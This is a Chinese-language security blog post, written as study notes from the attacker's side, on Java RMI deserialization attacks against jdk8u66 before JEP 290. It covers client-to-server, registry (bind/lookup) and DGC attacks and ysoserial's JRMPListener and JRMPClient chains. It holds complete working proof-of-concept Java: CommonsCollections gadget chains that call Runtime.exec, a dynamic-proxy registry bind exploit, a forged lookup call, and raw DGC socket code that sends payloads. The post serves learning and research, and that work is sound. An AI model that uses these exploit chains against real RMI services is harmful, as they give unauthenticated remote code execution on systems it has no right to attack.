https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

RMI反序列化攻击学习(2)

RMI攻击手法学习

上篇分析完整个流程后就可以对RMI有一些理解了

这篇说的是jep290之前,测试版本为jdk8u66,没有经过过滤的攻击方法,对所有攻击方法进行分析。而下一篇专门分析绕过

这里的视角主要是我们作为攻击者的视角,使用服务端攻击客户端也只是我们伪造成服务端

客户端攻击服务端

参数类型为Object

所以我们只要把一个恶意类如之前的cc1,cc6传过去即可,例如传cc6,把方法里面的参数值改掉即可,当然服务端同样也可以攻击客户端,改返回值即可,这里无需多言

image-20250416121611276

image-20250416121622296

参数类型不为Object时的绕过

如何对这里进行绕过,因为上面的攻击必须建立在服务端方法参数类型为Object,如果服务端的参数不为Object,比如用file代替

image-20250418184518109

直接攻击会出现报错, unrecognized method hash,这就是上一篇提到过的地方

image-20250418184544452

在服务端此处报错,method为空,后面则无法unmarshalValue反序列化。

image-20250418184708362

这里的hashToMethod_Map之前也提到过,所以我们如何绕过

image-20250418185215401

而这个hash是如何传入服务端的呢,也就是这个StreamRemoteCall把hash值写入了

image-20250418190430876

image-20250418190514452

其实思路就出来的,只要服务端接受的hash值是对的就能完成后面的反序列化,所以只要传method时,把method改为,参数类型与客户端一致即可,例如服务端的参数是File举例

image-20250418190635563

传入时使用Object的方法,而传hash时改为参数类型为File的方法,当然客户端的本地得配只是为了防止不报错,正常执行

image-20250419141343303

这里主要是用debugger方法,最简单,一共四种方法,目的时一致的

  • 通过网络代理,在流量层修改数据
  • 自定义 “java.rmi” 包的代码,自行实现
  • 字节码修改
  • 使用 debugger

两种方法,第一种反射把整个method改掉

image-20250418190837929

也可以通过改method的里面的参数类型即可,然后直接弹出计算器

image-20250418190943033

客户端攻击注册中心

之前说过和注册中心通信的主要阶段时主要是下面这一步,有四种方法,bind,lookup,rebind,list

registry.bind("remote", remote);

通过bind方法攻击(动态代理伪造绕过 ysoserial.exploit.RMIRegistryExploit)

使用bind方法攻击面临的问题就是这里的参数类型必须为Remote,当然还得能够序列化,如何绕过?

整个思路时这样的,其实说起来很简单,但是当时想的时候是想了很久的,也加深了动态代理的理解:

如图,回顾一下当时CC1链-LazyMap链利用分析 - kudo4869 - 博客园的。AnnotationInvokerHandler只是作为一个类去反序列化然后进行下面的逻辑,而这里的绕过增添的逻辑:用这个类再去代理Remote类,这个Remote委托类通过bind方法传到服务端,服务端会反序列化Remote委托类,而这个类作为动态代理类会反序列化AnnotationInvokerHandler,而后面的利用流程就和CC1完全一致了

image-20250419145840446

所以其实poc只需要加一句话而已,这和ysoserial.RMIRegistryExploit逻辑是基本一样的

public class RMIClient {
    public static void main(String[] args) throws Exception {
        //CC6
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        //生成处理器
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
        //生成LazyMap委托类
        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

        InvocationHandler invocationHandler2 = (InvocationHandler)constructor.newInstance(Override.class, proxyMap);
        
        
		//生成Remote委托类
        Remote remote = (Remote)(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[]{Remote.class},
                invocationHandler2
        ));
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        registry.bind("remote", remote);
    }
}

通过lookup方法攻击

这个逻辑就很简单,因为客户端是完全由我们控制,我们模拟lookup把恶意类写进去就行了,服务端是先反序列化恢复原先的数据,然后再转为String类型,所以还是能成功攻击的

image-20250419152215785

poc,我就直接用cc1了,其他也行

public class RMIClient {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        //生成处理器
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
        //生成LazyMap委托类
        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        //生成a类AnnotationInvocationHandler,同样也是使用这个构造器,这里写Override也可以,因为我们只需要达到无参构造,不需要通过if判断
        InvocationHandler invocationHandler2 = (InvocationHandler)constructor.newInstance(Override.class, proxyMap);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

        Field ref = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
        ref.setAccessible(true);
        UnicastRef remoteRefe = (UnicastRef) ref.get(registry);
        Field declaredField = registry.getClass().getDeclaredFields()[0];
        declaredField.setAccessible(true);
        Operation[] operations = (Operation[]) declaredField.get(registry);

        RemoteCall remoteCall = remoteRefe.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput outputStream = remoteCall.getOutputStream();
        outputStream.writeObject(invocationHandler2);
        remoteRefe.invoke(remoteCall);
    }
}

客户端攻击DGC

我们来学习一下DGC,类比着注册中心学习会简单很多

在RMI(Remote Method Invocation)中,DGCImpl_StubDGCImpl_Skel分别用于客户端和服务端的分布式垃圾回收(DGC)通信,其调用时机与DGC机制的交互流程密切相关

1.DGCImpl_Stub的调用场景:

当客户端需要通知服务端某个远程对象已被释放或标记为“脏”(dirty)时,会通过DGCImpl_Stub发送请求。例如:

标记对象为脏:当客户端本地对象引用计数变化时,通过DGCImpl_Stub.dirty()方法通知服务端。

清理远程引用:DGCImpl_Stub.clean()方法告知服务端客户端不再持有某个远程对象的引用

触发条件:客户端本地对象的引用关系发生变化(如对象被垃圾回收)。定期DGC心跳检测(RMI默认每小时执行一次DGC检查)。

2.DGCImpl_Skel的场景引用:

服务端处理DGC请求
当服务端接收到客户端的DGC请求(如dirty或clean)由DGCImpl_Skel的dispatch方法解析并执行对应逻辑。

客户端通过DGCImpl_Stub发送DGC请求。

接下来我们来分析如何攻击DGC,其实和攻击注册中心的流程基本一致

ysoserial.exploit.JRMPClient链分析

这是出自ysoserial.exploit.JRMPClient里的如何构造DGC请求,然后直接攻击

public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
    InetSocketAddress isa = new InetSocketAddress(hostname, port);
    Socket s = null;
    DataOutputStream dos = null;
    try {
        s = SocketFactory.getDefault().createSocket(hostname, port);
        s.setKeepAlive(true);
        s.setTcpNoDelay(true);

        OutputStream os = s.getOutputStream();
        dos = new DataOutputStream(os);

        dos.writeInt(TransportConstants.Magic);
        dos.writeShort(TransportConstants.Version);
        dos.writeByte(TransportConstants.SingleOpProtocol);

        dos.write(TransportConstants.Call);

        @SuppressWarnings ( "resource" )
        final ObjectOutputStream objOut = new MarshalOutputStream(dos);

        objOut.writeLong(2); // DGC
        objOut.writeInt(0);
        objOut.writeLong(0);
        objOut.writeShort(0);

        objOut.writeInt(1); // dirty
        objOut.writeLong(-669196253586618813L);
        
        objOut.writeObject(payloadObject);

        os.flush();
    }
    finally {
        if ( dos != null ) {
            dos.close();
        }
        if ( s != null ) {
            s.close();
        }
    }
}

同时我们调试程序对照着DGC请求,来到线程run方法后调用serviceCall,前一步是handlerMessage,这里调用read方法我们可以看看

image-20250419194854079

首先读取了一个Long型参数,如何UID.read又再次读了Int,Long,Short组成UID,然后ObjID封装了num和UID

image-20250419195028242

image-20250419195103847

最后的是这样的类型

image-20250419195226472

image-20250419195331498

image-20250419195339323

所以拿的Target里面则是DGCImpl_Skel,DGCImpl_Stub

image-20250419195412741

然后来到DGCImpl_Skel#dispatch,当然dirty和clean方法都是存在着反序列化漏洞的,所以也能看出注册中心的流程基本一样,自然所有能监听的端口都能被攻击DGC,如Registry端监听端口、RegistryImpl_Stub 监听端口、DGCImpl_Stub 监听端口

image-20250419195729883

image-20250419195749455

这个思路就和ysoserial.exploit.JRMPClient一致,即写好命令直接能成功攻击

image-20250419201234842

反序列化链

RMI中的一部分类会出现一些反序列化链,我们也需要对其进行学习,为后面的绕过做铺垫,当然下面的链的序列化和反序列化的点自然是rmi客户端或者服务端或者注册中心上实现

UnicastRemoteObject(ysoserial.payload.JRMPListener原理)

这条链的作用不像cc可以任意命令执行,主要作用是开启监听,在对方服务端上开启一个rmi监听,可以搭配其他攻击使用,DGC,注册中心攻击等

调用reexport

image-20250419161743336

而其中的exportObject我们就很熟悉了,最终会TCPTransport.exportObject,开启监听.而后接受到通信会统一处理,具体攻击哪个地方,得依照请求进行

image-20250419161818154

image-20250419161854377

ysoserial里的,在客户端开启一个jrmp的监听

image-20250419205028479

这条链学习完之后,我们就能进行二次反序列化攻击。

ysoserial.payload.JRMPListener+ysoserial.exploit.JRMPClient

上面说了ysoserial.exploit.JRMPClien攻击DGC,而这里我们将其中的CC利用链替换为这条即可在对方服务端开启一个rmi监听,然后再对这个rmi进行攻击,有些鸡肋但是可能能绕过一些黑名单

UnicastRef

UnicastRef继承了java.io.Externalizable,反序列化时会调用readExternal

调用readExternal,然后就是一系列调用,直到调用DGC.dirty,刚刚说的对DGC的攻击

image-20250419202902060

UnicastRef#readExternal
    LiveRef#read
    	DGCClient#registerRefs
    		EndpointEntry#registerRefs
    			EndpointEntry#makeDirtyCall
    				DGCImpl_Stub#dirty

RemoteObject(payload.JRMPClient)

ref设置为上一条的UnicastRef即可,也就是ysoserial.payload.JRMPClient的原理

image-20250419204146028

重点的地方是两个,前面就不赘述了,RemoteObjectInvocationHandler是RemoteObject的子类,里面塞入了需要的UnicastRef,创建了一个Registry的动态代理,所以反序列化时会调用RemoteObject的序列化然后触发上述的调用了,发起请求DGC.dirty。

这条payload的作用就是可以让对方发送一个DGC请求,比如传入一个伪造的服务端的端口号和ip,对方服务端则会作为(此时如客户端)向伪造的服务都安发送DGC请求

image-20250421131123787

服务端攻击客户端(exploit.JRMPListener+payload.JRMPClient)

在上述的攻击中,把ysoserial的四条链都学习了一遍,还差这条链exploit.JRMPListener(开启jrmp监听,返回一个异常的恶意对象)的分析,其实知道原理后,都是非常简单分析的,这条链也没有什么特别之处。然后这条链加上payload.JRMPClient可以形成服务端攻击客户端,我们模拟服务端

作用:在我们的攻击机上开启一个监听,收到监听后返回一个恶意类给请求的客户端。简单看看代码

image-20250421131938439

创建socket连接

image-20250421132012301

run方法中doMessage处理请求->doCall

image-20250421132149836

doCall创建了一个异常请求BadAttributeValueExpException写入payload然后写入流中

image-20250421132314186

而此时的被攻击机是作为了客户端在给这个伪造的服务端发送DGC.dirty请求(通过payload.JRMPClient实现),所以我们看DGCImpl_Stub#dirty

调用invoke->executeCall

image-20250421132728678

进入我们伪造的第二个异常,反序列化,完成攻击,再搭配着payload.JRMPClient(使其发送DGC.dirty请求)使用形成我们攻击

image-20250421132806301

填写ip,端口即可

image-20250421194253127

参考:
https://www.anquanke.com/post/id/259059#h3-11
https://su18.org/post/rmi-attack/#3-remoteobject
https://www.cnblogs.com/R0ser1/p/16757433.html#通过rasp-bypass原理object参数

posted @ 2025-04-24 14:12  kudo4869  阅读(111)  评论(0)    收藏  举报